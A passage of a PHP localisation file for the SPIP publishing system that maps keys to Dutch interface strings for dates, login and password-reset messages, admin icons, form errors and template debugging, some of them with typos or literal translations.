'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'zondag',
'date_jour_1_abbr' => 'zon.',
'date_jour_1_initiale' => 'z.',
'date_jour_2' => 'maandag',
'date_jour_2_abbr' => 'maa.',
'date_jour_2_initiale' => 'm.',
'date_jour_3' => 'dinsdag',
'date_jour_3_abbr' => 'din.',
'date_jour_3_initiale' => 'd.',
'date_jour_4' => 'woensdag',
'date_jour_4_abbr' => 'woe.',
'date_jour_4_initiale' => 'w.',
'date_jour_5' => 'donderdag',
'date_jour_5_abbr' => 'don.',
'date_jour_5_initiale' => 'd.',
'date_jour_6' => 'vrijdag',
'date_jour_6_abbr' => 'vrij.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'zaterdag',
'date_jour_7_abbr' => 'zat.',
'date_jour_7_initiale' => 'z.',
'date_jours' => 'dagen',
'date_minutes' => 'minuten',
'date_mois' => 'maanden',
'date_mois_1' => 'Januari',
'date_mois_10' => 'Oktober',
'date_mois_10_abbr' => 'okt.',
'date_mois_11' => 'November',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'December',
'date_mois_12_abbr' => 'dec.',
'date_mois_1_abbr' => 'janu.',
'date_mois_2' => 'Februari',
'date_mois_2_abbr' => 'febr.',
'date_mois_3' => 'Maart',
'date_mois_3_abbr' => 'mart',
'date_mois_4' => 'April',
'date_mois_4_abbr' => 'apr.',
'date_mois_5' => 'Mei',
'date_mois_5_abbr' => 'mei',
'date_mois_6' => 'Juni',
'date_mois_6_abbr' => 'juni',
'date_mois_7' => 'Juli',
'date_mois_7_abbr' => 'juli',
'date_mois_8' => 'augustus',
'date_mois_8_abbr' => 'aug.',
'date_mois_9' => 'september',
'date_mois_9_abbr' => 'sept.',
'date_saison_1' => 'winter',
'date_saison_2' => 'lente',
'date_saison_3' => 'zomer',
'date_saison_4' => 'herfst',
'date_secondes' => 'seconden',
'date_semaines' => 'weken',
'date_un_mois' => 'maand',
'date_une_heure' => 'uur',
'date_une_minute' => 'minuut',
'date_une_seconde' => 'seconde',
'date_une_semaine' => 'week',
'dirs_commencer' => 'alvorens de installatie te beginnen',
'dirs_preliminaire' => 'Vooraf: <b>Toegangsrechten regelen</b>',
'dirs_probleme_droits' => 'Probleem met toegangsrechten',
'dirs_repertoires_absents' => '<p><b>De volgende mappen werden niet gevonden :</b></p><ul>@bad_dirs@.</ul>
<p>Waarschijnlijk is dit te wijten aan het door elkaar halen van hoofd- en kleine letters.
Kijk na of kleine en hoofdletters van deze mappen overeenstemmen met wat hieronder getoond wordt;
is dit niet het geval, hernoem dan de mappen met je FTP-programma om de fout zo te herstellen.</p>
<p>Eenmaal deze bewerking uitgevoerd is, kan je',
'dirs_repertoires_suivants' => '<p><b>Je hebt geen schrijfrechten op de volgende mappen :</b></p> <ul>@bad_dirs@.</ul>
<p>Om dit te wijzigen, log je in met een FTP programma en wijzig je de toegangsrechten van elk van de genoemde mappen
De procedure is gedetailleerd uitgelegd in de installatiehandleiding.</p>
<p>Eenmaal deze wijziging doorgevoerd, kan je ',
'double_occurrence' => 'Dubbele vermelding van @balise@',
// E
'en_cours' => 'bezig',
'envoi_via_le_site' => 'Verzending via de site',
'erreur' => 'Fout',
'erreur_balise_non_fermee' => 'laatste haakje niet opnieuw gesloten :',
'erreur_technique_enregistrement_champs' => 'Een technische fout verhinderde een correcte registratie van het veld @champs@.',
'erreur_technique_enregistrement_impossible' => 'Een technische fout verhinderde de registratie.',
'erreur_texte' => 'fout(en)',
'etape' => 'Etappe',
// F
'fichier_introuvable' => 'Bestand @fichier@ onvindbaar',
'form_auteur_confirmation' => 'Gelieve je e-mail adres te bevestigen',
'form_auteur_email_modifie' => 'Je e-mail adres is veranderd',
'form_auteur_envoi_mail_confirmation' => 'Een besvestigingsmail werd verstuurd naar @email@. Gelieve de url in de e-mail aan te klikken om je e-mail adres te bevestigen.',
'form_auteur_mail_confirmation' => 'Goeiedag,
Je vroeg je e-mail adres te veranderen.
Om je nieuwe adres te bevestigen, dien je op onderstaande link te klikken
(zoniet zal je aanvraag vervallen) :
@url@
',
'form_deja_inscrit' => 'Je bent reeds ingeschreven.',
'form_email_non_valide' => 'Je e-mailadres is niet geldig.',
'form_forum_access_refuse' => 'Je hebt geen toegang meer tot deze website.',
'form_forum_bonjour' => 'Hallo @nom@,',
'form_forum_confirmer_email' => 'Klik op de volgende link om je e-mail adres te bevestigen : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Dit e-mailadres is reeds geregistreerd. Je kan inloggen met je gebruikelijke paswoord.',
'form_forum_identifiant_mail' => 'Je nieuwe logingegevens werden je zonet via e-mail toegestuurd.',
'form_forum_identifiants' => 'Persoonlijke logins',
'form_forum_indiquer_nom_email' => 'Vul hier je naam en e-mailadres in. Je persoonlijke login zal je meteen toegestuurd worden via e-mail.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(Dit is een automatisch verzonden bericht)',
'form_forum_pass' => 'paswoord :',
'form_forum_probleme_mail' => 'Probleem met e-mail: de logingegevens konden niet worden verstuurd.',
'form_forum_voici1' => 'Zie hier je nieuwe logingegevens om een bijdrage te kunnen leveren aan de website
"@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Hierbij je logingegevens om artikels voor te stellen op
de website "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Vul hier je e-mailadres in.',
'form_indiquer_nom' => 'Vul hier je naam in.',
'form_indiquer_nom_site' => 'Gelieve de naam van je site op te geven.',
'form_pet_deja_enregistre' => 'Deze website is reeds geregistreerd',
'form_pet_signature_pasprise' => 'Met je naam wordt geen rekening gehouden.',
'form_prop_confirmer_envoi' => 'Bevestig de verzending',
'form_prop_description' => 'Beschrijving / commentaar',
'form_prop_enregistre' => 'Je voorstel is geregistreerd. Het zal online verschijnen nadat de eindredacteur van de website het heeft goedgekeurd.',
'form_prop_envoyer' => 'Een bericht verzenden',
'form_prop_indiquer_email' => 'Gelieve een geldig e-mailadres op te geven',
'form_prop_indiquer_nom_site' => 'Gelieve de naam van de site in te vullen',
'form_prop_indiquer_sujet' => 'Gelieve een onderwerp in te vullen',
'form_prop_message_envoye' => 'Bericht verzonden',
'form_prop_non_enregistre' => 'Je voorstel is niet geregistreerd',
'form_prop_sujet' => 'Onderwerp',
'form_prop_url_site' => 'URL van de site',
'forum_non_inscrit' => 'Je bent niet ingeschreven, ofwel is je adres of paswoord niet correct.',
'forum_par_auteur' => 'door @auteur@',
'forum_titre_erreur' => 'Fout ...',
// I
'ical_texte_rss_articles' => 'Het «backend» bestand van de artikels bevindt zich op dit adres:',
'ical_texte_rss_articles2' => 'Je kan eveneens de «backend» bestanden bekomen voor de artikels van elke rubriek van deze site:',
'ical_texte_rss_breves' => 'Daarnaast bestaat ook een bestand met de nieuwsberichten van de site. Door het nummer van de rubriek op te geven, ontvang je automatisch de berichten van deze rubriek.',
'icone_a_suivre' => 'Taken',
'icone_admin_site' => 'Beheer van de site',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Help',
'icone_articles' => 'Artikels',
'icone_auteurs' => 'Auteurs',
'icone_brouteur' => 'Snelle navigatie',
'icone_configuration_site' => 'Configuratie',
'icone_configurer_site' => 'Je website configureren',
'icone_creer_nouvel_auteur' => 'Een nieuwe auteur aanmaken',
'icone_creer_rubrique' => 'Een rubriek aanmaken',
'icone_creer_sous_rubrique' => 'Een subrubriek aanmaken',
'icone_deconnecter' => 'Uitloggen',
'icone_discussions' => 'Discussies',
'icone_doc_rubrique' => 'Bijlagen van de rubrieken',
'icone_ecrire_article' => 'Een nieuw artikel schrijven',
'icone_edition_site' => 'Redactie',
'icone_gestion_langues' => 'Talenbeheer',
'icone_informations_personnelles' => 'Persoonlijke gegevens',
'icone_interface_complet' => 'Volledige interface',
'icone_interface_simple' => 'Eenvoudige interface',
'icone_maintenance_site' => 'Onderhoud van de website',
'icone_messagerie_personnelle' => 'Persoonlijk berichtensysteem',
'icone_repartition_debut' => 'De verdeling sinds het begin tonen',
'icone_rubriques' => 'Rubrieken',
'icone_sauver_site' => 'Maken van een reservekopie',
'icone_site_entier' => 'Volledige site',
'icone_sites_references' => 'Gekoppelde sites',
'icone_statistiques' => 'Statistieken van de site',
'icone_suivi_activite' => 'De activiteit van de site opvolgen',
'icone_suivi_actualite' => 'Evolutie van de site',
'icone_suivi_pettions' => 'Petities opvolgen/beheren',
'icone_suivi_revisions' => 'Wijzigingen van de artikels',
'icone_supprimer_document' => 'Deze bijlage wissen',
'icone_supprimer_image' => 'Deze afbeelding wissen',
'icone_tous_articles' => 'Al je artikels',
'icone_tous_auteur' => 'Alle auteurs',
'icone_tous_visiteur' => 'Alle bezoekers',
'icone_visiter_site' => 'Bekijk publieke site',
'icone_voir_en_ligne' => 'Online bekijken',
'img_indisponible' => 'beeld onbeschikbaar',
'impossible' => 'onmogelijk',
'info_a_suivre' => 'TAKEN»',
'info_acces_interdit' => 'Geen toegang',
'info_acces_refuse' => 'Toegang geweigerd',
'info_action' => 'Actie : @action@',
'info_administrer_rubriques' => 'Je kan deze rubriek en haar subrubrieken beheren',
'info_adresse_non_indiquee' => 'Je hebt geen adres opgegeven om te testen!',
'info_aide' => 'HELP:',
'info_ajouter_mot' => 'Dit trefwoord toevoegen',
'info_annonce' => 'AANKONDIGING',
'info_annonces_generales' => 'Algemene aankondigingen:',
'info_article_propose' => 'Voorgesteld artikel ',
'info_article_publie' => 'Gepubliceerd artikel',
'info_article_redaction' => 'Artikel in redactie',
'info_article_refuse' => 'Artikel geweigerd',
'info_article_supprime' => 'Artikel geschrapt',
'info_articles' => 'Artikels',
'info_articles_a_valider' => 'Artikels ter goedkeuring',
'info_articles_nb' => '@nb@ artikels',
'info_articles_proposes' => 'Voorgestelde artikels',
'info_articles_un' => '1 artikel',
'info_auteurs_nombre' => 'auteur(s):',
'info_authentification_ftp' => 'Authenticatie (via FTP).',
'info_breves_2' => 'nieuwsberichten',
'info_breves_nb' => '@nb@ berichten',
'info_breves_un' => '1 bericht',
'info_connexion_refusee' => 'Verbinding geweigerd',
'info_contact_developpeur' => 'Gelieve een ontwikkelaar te contacteren.',
'info_contenance' => 'Deze site bevat:',
'info_contribution' => 'bijdragen',
'info_copyright' => '@spip@ is vrije software @lien_gpl@ distributie.',
'info_copyright_doc' => 'Voor meer informatie, bezoek <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'onder GPL licentie',
'info_cours_edition' => 'In voorbereiding',
'info_creer_repertoire' => 'Gelieve een bestand of map aan te maken met de volgende naam:',
'info_creer_repertoire_2' => 'binnen in de submap <b>@repertoire@</b>, vervolgens :',
'info_creer_vignette' => 'automatische aanmaak miniatuur-afbeeldingen',
'info_creerdansrubrique_non_autorise' => 'Je hebt onvoldoende rechten om nieuwe inhoud in deze rubriek te plaatsen.',
'info_deplier' => 'Uitvouwen',
'info_descriptif_nombre' => 'Beschrijving(en):',
'info_description' => 'Beschrijving:',
'info_description_2' => 'Beschrijving:',
'info_dimension' => 'Afmetingen:',
'info_documents_nb' => '@nb@ documenten',
'info_documents_un' => '1 document',
'info_ecire_message_prive' => 'Een privé-bericht schrijven',
'info_email_invalide' => 'Fout e-mailadres.',
'info_en_cours_validation' => 'Je artikels in redactie',
'info_en_ligne' => 'Momenteel online:',
'info_envoyer_message_prive' => 'Een privé-bericht sturen naar deze auteur',
'info_erreur_requete' => 'Fout bij uitvoering van de opdracht :',
'info_erreur_squelette2' => 'Geen sjabloon <b>@fichier@</b> is beschikbaar...',
'info_erreur_systeme' => 'Systeemfout (errno @errsys@)',
'info_erreur_systeme2' => 'Misschien is de harde schijf vol of de gegevensbank beschadigd.<br />
<span style="color:red;">Probeer de <a href=\'@script@\'>de gegevensbank te herstellen</a>, of neem contact op met je provider.</span>',
'info_fini' => 'Het is gedaan !',
'info_format_image' => 'Beeldformaten die gebruikt kunnen worden om vignettes (miniatuurafbeeldingen) aan te maken: @gd_formats@.',
'info_format_non_defini' => 'Ongedefinieerd formaat',
'info_grand_ecran' => 'Groot scherm',
'info_image_aide' => 'HELP',
'info_image_process_titre' => 'Methode voor aanmaak van miniatuurafbeeldingen',
'info_impossible_lire_page' => '<b>Fout !</b> Kan de pagina <tt><html>@test_proxy@</html></tt> niet lezen via de proxy',
'info_installation_systeme_publication' => 'Installatie van het publicatiesysteem...',
'info_installer_documents' => 'Je kan alle documenten in de map @upload@ automatisch toevoegen.',
'info_installer_ftp' => 'Een beheerder kan (via FTP) bestanden in de map @upload@ bewaren en ze vervolgens hier meteen selecteren.',
'info_installer_images' => 'Afbeelden kunnen toegevoegd worden in JPEG, GIF en PNG formaat.',
'info_installer_images_dossier' => 'Afbeeldingen bewaren in de map @upload@ om ze hier te selecteren.',
'info_interface_complete' => 'Volledige interface',
'info_interface_simple' => 'Vereenvoudigde interface',
'info_joindre_document_article' => 'Aan dit artikel kan je een bijlage toevoegen van het type',
'info_joindre_document_rubrique' => 'In deze rubriek kan je bijlagen toevoegen van het type',
'info_joindre_documents_article' => 'Bij je artikels kan je bijlagen voegen van het type:',
'info_l_article' => 'het artikel',
'info_la_breve' => 'het bericht',
'info_la_rubrique' => 'de rubriek',
'info_langue_principale' => 'Hoofdtaal',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'door @les_auteurs@',
'info_logo_format_interdit' => 'Enkel logo’s van het formaat @formats@ worden toegestaan.',
'info_logo_max_poids' => 'Logo’s mogen maximaal @maxi@ zijn (dit bestand is @actuel@).',
'info_mail_fournisseur' => 'jullie@provider.be',
'info_message_2' => 'BERICHT',
'info_message_supprime' => 'VERWIJDERD BERICHT',
'info_messages_nb' => '@nb@ berichten',
'info_messages_un' => '1 boodschap',
'info_mise_en_ligne' => 'Datum van online publicatie:',
'info_modification_parametres_securite' => 'Wijzigingen aan de veiligheidsinstellingen',
'info_mois_courant' => 'Gedurende de maand :',
'info_mot_cle_ajoute' => 'Het volgende trefwoord is toegevoegd aan ',
'info_multi_herit' => 'Standaardtaal',
'info_multi_langues_soulignees' => 'In de <u>onderlijnde talen</u> zijn de teksten van de interface gedeeltelijk of volledig vertaald. Als je een van deze talen kiest, worden heel wat gegevens (data, formulieren) van de publieke site automatisch vertaald . Voor de niet-onderlijnde talen zullen deze gegevens in de hoofdtaal van de site verschijnen.',
'info_multilinguisme' => 'Meertaligheid',
'info_nom_non_utilisateurs_connectes' => 'Je naam komt niet in de lijst van de redacteuren die online zijn.',
'info_nom_utilisateurs_connectes' => 'Je naam komt in de lijst van de redacteuren die online zijn.',
'info_nombre_en_ligne' => 'Momenteel online:',
'info_non_resultat' => 'Geen enkel resultaat voor "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Je gebruikt het interne berichtensysteem van deze site niet.',
'info_nouveau_message' => 'JE HEBT EEN NIEUW BERICHT',
'info_nouveaux_messages' => 'JE HEBT @total_messages@ NIEUWE BERICHTEN',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Deze informatie is verplicht',
'info_pense_bete' => 'MEMO',
'info_petit_ecran' => 'Klein scherm',
'info_petition_close' => 'Gesloten petitie',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Meerdere trefwoorden gevonden voor "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatische portfolio:',
'info_premier_resultat' => '[@debut_limit@ eerste resultaten op @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ eerste resultaten op @total@]',
'info_propose_1' => '[@nom_site_spip@] voorgesteld: @titre@',
'info_propose_2' => 'Voorgesteld artikel
-------------------',
'info_propose_3' => 'Het artikel "@titre@" werd voorgesteld voor publicatie',
'info_propose_4' => 'Je bent uitgenodigd om ze te raadplegen en je mening te geven',
'info_propose_5' => 'in het forum daaraan verbonden : het is bereikbaar op het adres :',
'info_publie_01' => 'Het artikel "@titre@" werd goedgekeurd door @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] GEPUBLICEERD : @titre@',
'info_publie_2' => 'Gepubliceerd artikel
--------------------',
'info_rechercher' => 'Zoeken',
'info_rechercher_02' => 'Zoeken:',
'info_remplacer_vignette' => 'Vervang de standaard mini-afbeelding door een gepersonaliseerd logo:',
'info_rubriques_nb' => '@nb@ rubrieken',
'info_rubriques_un' => '1 rubriek',
'info_sans_titre_2' => 'zonder titel',
'info_selectionner_fichier' => 'Je kan een bestand selecteren uit de map @upload@',
'info_selectionner_fichier_2' => 'Een bestand selecteren:',
'info_sites_nb' => '@nb@ websites',
'info_sites_un' => '1 website',
'info_supprimer_vignette' => 'De mini-afbeelding verwijderen',
'info_symbole_bleu' => 'Het <b>blauwe</b> symbool wijst op een <b>memo</b>: dat wil zeggen een bericht voor persoonlijk gebruik.',
'info_symbole_jaune' => 'Het <b>gele</b> symbool wijst op een <b>aankondiging voor alle redacteurs</b>: te wijzigen door alle beheerders en zichtbaar voor alle redacteurs.',
'info_symbole_vert' => 'Het <b>groene</b> symbool wijst op <b>uitgewisselde berichten met andere gebruikers</b> van deze site.',
'info_telecharger_nouveau_logo' => 'Een nieuw logo opladen:',
'info_telecharger_ordinateur' => 'Opladen vanaf je computer:',
'info_tous_resultats_enregistres' => '[alle resultaten zijn opgenomen]',
'info_tout_afficher' => 'Alles tonen',
'info_travaux_texte' => 'Deze site is nog niet geconfigureerd...Kom later eens terug...',
'info_travaux_titre' => 'Site in opbouw',
'info_trop_resultat' => 'Teveel resultaten voor "@cherche_mot@" ; gelieve de opzoeking te verfijnen.',
'info_utilisation_messagerie_interne' => 'Je gebruikt het intern berichtensysteem van de site.',
'info_valider_lien' => 'deze link goedkeuren',
'info_verifier_image' => ' , gelieve na te gaan of je afbeeldingen correct zijn overgezet.',
'info_vignette_defaut' => 'standaardafbeelding',
'info_vignette_personnalisee' => 'gepersonaliseerde afbeelding',
'info_visite' => 'bezoek:',
'info_vos_rendez_vous' => 'Je komende afspraken',
'infos_vos_pense_bete' => 'Uw herinneringen',
// L
'label_ajout_id_rapide' => 'Quick Add',
'label_poids_fichier' => 'Omvang',
'lien_afficher_icones_seuls' => 'Toon alleen icoontjes',
'lien_afficher_texte_icones' => 'Toon icoontjes en tekst',
'lien_afficher_texte_seul' => 'Toon alleen tekst',
'lien_liberer' => 'Uitgave',
'lien_liberer_tous' => 'Alles vrijgeven',
'lien_nouvea_pense_bete' => 'NIEUWE MEMO',
'lien_nouveau_message' => 'NIEUW BERICHT',
'lien_nouvelle_annonce' => 'NIEUWE AANKONDIGING',
'lien_petitions' => 'PETITIE',
'lien_popularite' => 'populariteit: @popularite@%',
'lien_racine_site' => 'BEGIN VAN DE SITE',
'lien_reessayer' => 'opnieuw proberen',
'lien_repondre_message' => 'Beantwoord dit bericht',
'lien_supprimer' => 'verwijderen',
'lien_tout_afficher' => 'Toon alles',
'lien_visite_site' => 'Bezoek de site',
'lien_visites' => '@visites@ bezoeken',
'lien_voir_auteur' => 'Auteur nakijken',
'ligne' => 'Lijn',
'login' => 'Verbinding',
'login_acces_prive' => 'Toegang tot het private deel',
'login_autre_identifiant' => 'Verbinden met een andere inlognaam',
'login_cookie_accepte' => 'Stel je bladerprogramma zo in dat het koekies aanvaardt (tenminste voor deze site).',
'login_cookie_oblige' => 'Om jezelf veilig aan te melden, dien je cookies te aanvaarden.',
'login_deconnexion_ok' => 'Verbinding verbroken.',
'login_erreur_pass' => 'Foutief paswoord.',
'login_espace_prive' => 'Privaat gedeelte',
'login_identifiant_inconnu' => 'Loginnaam « @login@ » is niet bekend.',
'login_login' => 'Login :',
'login_login2' => 'Login of e-mail adres :',
'login_login_pass_incorrect' => '(Foutieve loginnaam of paswoord).',
'login_motpasseoublie' => 'paswoord vergeten?',
'login_non_securise' => 'Opgepast, dit formuilier is niet beveiligd.
Als je wil dat derden je paswoord niet kunnen onderscheppen
op het net, activeer dan Javascript
in je bladerprogramma en ',
'login_nouvelle_tentative' => 'Nieuwe poging',
'login_par_ici' => 'Je bent registreerd ... zo ...',
'login_pass2' => 'Paswoord:',
'login_preferez_refuser' => '<b>Als je verkiest om koekies te weigeren</b>, is een andere (minder veilige) methode voor verbinding mogelijk :',
'login_recharger' => 'Pagina hernieuwen',
'login_rester_identifie' => 'Enkele dagen aangemeld blijven',
'login_retour_public' => 'Terug naar de publieke site',
'login_retour_site' => 'Terug naar de publieke site',
'login_retoursitepublic' => 'terug naar de publieke site',
'login_sans_cookiie' => 'Aanmelden zonder koekie',
'login_securise' => 'Secure Login',
'login_sinscrire' => 'Registreren',
'login_test_navigateur' => 'Testen van browser/opnieuw verbinden',
'login_verifiez_navigateur' => '(Kijk niettemin na dat je bladerprogramma je paswoord niet heeft onthouden...)',
// M
'masquer_colonne' => 'Deze kolom verbergen',
'masquer_trad' => 'Vertalingen verbergen',
'module_fichiers_langues' => 'Taalbestanden',
// N
'navigateur_pas_redirige' => 'Wanneer je bladerprogramma niet doorverwijst, klik dan hier om verder te gaan.',
'numero' => 'Nummer',
// O
'occurence' => 'Toeval',
'onglet_affacer_base' => 'Database verwijderen',
'onglet_auteur' => 'Auteur',
'onglet_contenu_site' => 'Inhoud van de site',
'onglet_evolution_visite_mod' => 'Evolutie',
'onglet_fonctions_avances' => 'Geavanceerde functies',
'onglet_informations_personnelles' => 'Persoonlijke informatie',
'onglet_interactivite' => 'Interactiviteit',
'onglet_messagerie' => 'Berichtensysteem',
'onglet_repartition_rubrique' => 'Verdeling per rubriek',
'onglet_save_restaur_base' => 'Backup/terugzetten van de databank',
'onglet_vider_cache' => 'Cache leegmaken',
// P
'pass_choix_pass' => 'Kies je nieuwe paswoord:',
'pass_erreur' => 'Fout',
'pass_erreur_acces_refuse' => '<b>Fout:</b> je hebt geen toegang meer tot deze site.',
'pass_erreur_code_inconnu' => '<b>Fout:</b> deze code komt niet overeen met die van een bezoeker met toegangsrechten tot deze site.',
'pass_erreur_non_enregistre' => '<b>Fout :</b> het adres <tt>@email_oubli@</tt> is niet geregistreerd in deze site.',
'pass_erreur_non_valide' => '<b>Fout :</b> het e-mailadres <tt>@email_oubli@</tt> is niet geldig !',
'pass_erreur_probleme_technique' => '<b>Fout :</b> de e-mail kon niet worden verzonden wegens een technisch probleem.',
'pass_espace_prive_bla' => 'Het private deel van deze site is enkel
toegankelijk voor bezoekers na registratie. Eenmaal geregistreerd,
kan je artikels ter redactie inzien, zelf artikels toevoegen en deelnemen aan de forums.',
'pass_forum_bla' => 'Je hebt gevraagd om deel te nemen aan een forum
dat gereserveerd is voor geregistreerde gebruikers.',
'pass_indiquez_cidessous' => 'Vul hieronder het e-mailadres in waarmee je je eerder
hebt geregistreerd. Je
zal een e-mail ontvangen met uitleg over hoe je opnieuw toegang kan verwerven tot de site.',
'pass_mail_passcookie' => '(dit is een automatisch gegenereerd bericht)
Om opnieuw toegang te krijgen tot de site
@nom_site_spip@ (@adresse_site@)
Ga naar het volgende adres:
@sendcookie@
Je kan er een nieuw paswoord invoegen en
opnieuw verbinding maken met de site
',
'pass_mot_oublie' => 'Paswoord vergeten ?',
'pass_nouveau_enregistre' => 'Je nieuwe paswoord is genoteerd.',
'pass_nouveau_pass' => 'Nieuw paswoord',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Paswoord vergeten',
'pass_procedure_changer' => 'Om je wachtwoord te wijzigen, moeten we eerst uw identiteit controleren. Geef hiervoor het e-mailadres gekoppeld aan je account.',
'pass_quitter_fenetre' => 'Venster sluiten',
'pass_rappel_login' => 'Herinnering : je aanmeldingsnaam (login) is "@login@".',
'pass_recevoir_mail' => 'Je zal een e-mail ontvangen waarin uitgelegd staat hoe je opnieuw toegang krijgt tot de site.',
'pass_retour_public' => 'Terrug aan publiek site',
'pass_rien_a_faire_ici' => 'Niets te zoeken hier.',
'pass_vousinscrire' => 'U inschrijven in de site',
'precedent' => 'vorige',
'previsualisation' => 'Schermweergave',
'previsualiser' => 'Vooraf tonen',
// R
'retour' => 'Terugkeren',
// S
'spip_conforme_dtd' => 'SPIP beschouwt dit document als conform met zijn DOCTYPE :',
'squelette' => 'sjabloon',
'squelette_inclus_ligne' => 'sjabloon inbegrepen, lijn',
'squelette_ligne' => 'sjabloon, lijn',
'stats_visites_et_popularite' => '@visites@ bezoeken; populariteit: @popularite@',
'suivant' => 'volgende',
// T
'taille_go' => '@taille@ Go',
'taille_ko' => '@taille@ kB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Eenmaal je vertrouwd bent met de interface, kan je klikken op «',
'texte_actualite_site_2' => 'Volledige interface',
'texte_actualite_site_3' => '» om meer mogelijkheden te openen.',
'texte_creation_automatique_vignette' => 'Op deze site is de automatische aanmaak van miniaturen (vignettes) geactiveerd. Als je vanop dit forumulier afbeeldingen oplaadt van het formaat @gd_formats@, zullen miniaturen aangemaakt worden met een maximale grootte van @taille_preview@ pixels.',
'texte_documents_associes' => 'Volgende documenten zijn bij het artikel gevoegd,
maar zijn niet rechtstreeks in de tekst opgenomen.
Naargelang de opmaak van de publieke website
zullen ze als bijlage verschijnen.',
'texte_erreur_mise_niveau_base' => 'Fout met de databank bij het updaten.
De afbeelding <b>@fichier@</b> werd niet opgeladen (artikel @id_article@).
Noteer deze referentie en probeer andermaal het opladen
van de afbeelding. Kijk vervolgens na of de afbeeldingen
correct verschijnen in het artikel.',
'texte_erreur_visiteur' => 'U probeerde toegang te krijgen tot het privé-gedeelte met een login die hiervoor geen machtiging heeft.',
'texte_inc_auth_1' => 'U bent aangemeld als
<b>@auth_login@</b>, maar deze naam komt niet (meer) voor in de databank.
Probeert van u',
'texte_inc_auth_2' => 'Opnieuw verbinden',
'texte_inc_auth_3' => ', nadat je je browser eventueel gesloten en opnieuw herstart hebt.',
'texte_inc_config' => 'De wijzigingen die op deze pagina worden aangebracht,
beïnvloeden grondig de werking van de volledige website. We raden
je aan hier niets aan te wijzigen tot je voldoende bekend
bent met het functioneren van het SPIP systeem.
<br /><br /><b>Algemeen gesproken laat je het
beheer van deze pagina best over aan de webmaster van je
site.</b>',
'texte_inc_meta_1' => 'Het systeem merkt een fout bij het wegschrijven van het bestand <code>@fichier@</code>. Gelieve, als beheerder van de site,',
'texte_inc_meta_2' => 'de schrijfrechten na te kijken',
'texte_inc_meta_3' => 'op de map <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'in redactie',
'texte_statut_poubelle' => 'in de vuilnisbak',
'texte_statut_propose_evaluation' => 'voorgesteld voor evaluatie',
'texte_statut_publie' => 'online geplaatst',
'texte_statut_refuse' => 'geweigerd',
'titre_ajouter_mot_cle' => 'TREFWOORD TOEVOEGEN :',
'titre_cadre_raccourcis' => 'SNELKOPPELINGEN :',
'titre_changer_couleur_interface' => 'Kleur van de interface wijzigen',
'titre_image_admin_article' => 'Je kan dit artikel beheren',
'titre_image_administrateur' => 'Beheerder',
'titre_image_aide' => 'Help over dit onderwerp',
'titre_image_auteur_supprime' => 'Auteur gewist',
'titre_image_redacteur' => 'Redacteur zonder toegang',
'titre_image_redacteur_02' => 'Redacteur',
'titre_image_visiteur' => 'Bezoeker',
'titre_joindre_document' => 'Document toevoegen',
'titre_mots_cles' => 'TREFWOORDEN',
'titre_probleme_technique' => 'Opgelet : een technisch probleem (SQL server) verhindert de toegang tot dit deel van de site. Dank voor uw begrip.',
'titre_publier_document' => 'EEN DOCUMENT PUBLICEREN IN DEZE RUBRIEK',
'titre_signatures_attente' => 'Handtekeningen in wachten van validatie',
'titre_signatures_confirmees' => 'Bevestigde handtekeningen',
'titre_statistiques' => 'Statistieken van de site',
'titre_titre_document' => 'Titel van het document:',
'todo' => 'binnenkort beschikbaar',
'trad_reference' => '(verwijzing naar vertalingen)',
// Z
'zbug_balise_b_aval' => ' : komende opmaakcode B',
'zbug_balise_inexistante' => 'Baken @balise@ die slecht voor @from@ wordt verklaard',
'zbug_balise_sans_argument' => 'Argument niet inbegrepen in het baken @balise@',
'zbug_boucle' => 'lus',
'zbug_boucle_recursive_undef' => 'Niet bepaalde recursieve gesp : @nom@',
'zbug_calcul' => 'berekening',
'zbug_champ_hors_boucle' => 'Veld @champ@ buiten de lus',
'zbug_champ_hors_motif' => 'Veld @champ@ buiten een context @motif@',
'zbug_code' => 'code',
'zbug_critere_inconnu' => 'Onbekend criterium @critere@',
'zbug_distant_interdit' => 'Extern verboden',
'zbug_doublon_table_sans_cle_primaire' => 'Dubbele ingegaan op een tafel zonder primaire atoomsleutel',
'zbug_doublon_table_sans_index' => '"Doublons" op een tafel zonder indexcijfers',
'zbug_erreur_boucle_double' => 'Dubbele definitie van de @id@ lus',
'zbug_erreur_boucle_fermant' => 'Lus @id@ niet gesloten ',
'zbug_erreur_boucle_syntaxe' => 'Syntaxis van de gesp @id@ incorrecte ',
'zbug_erreur_compilation' => 'Compilatiefout',
'zbug_erreur_execution_page' => 'Fout van uitvoering',
'zbug_erreur_filtre' => 'Filter @filtre@ niet bepaald ',
'zbug_erreur_meme_parent' => 'Het criterium "dezelfde ouder" {meme_parent} van toepassing is slechts op de lussen (FORUMS) of (RUBRIQUES)',
'zbug_erreur_squelette' => 'Fout(en) in het sjabloon',
'zbug_hors_compilation' => 'Buiten Compilatie',
'zbug_info_erreur_squelette' => 'Fout op de site',
'zbug_inversion_ordre_inexistant' => 'Omzetting van onbestaande aard',
'zbug_pagination_sans_critere' => 'Baken #PAGINATION zonder criterium {pagination} of werknemer in een recursieve lus',
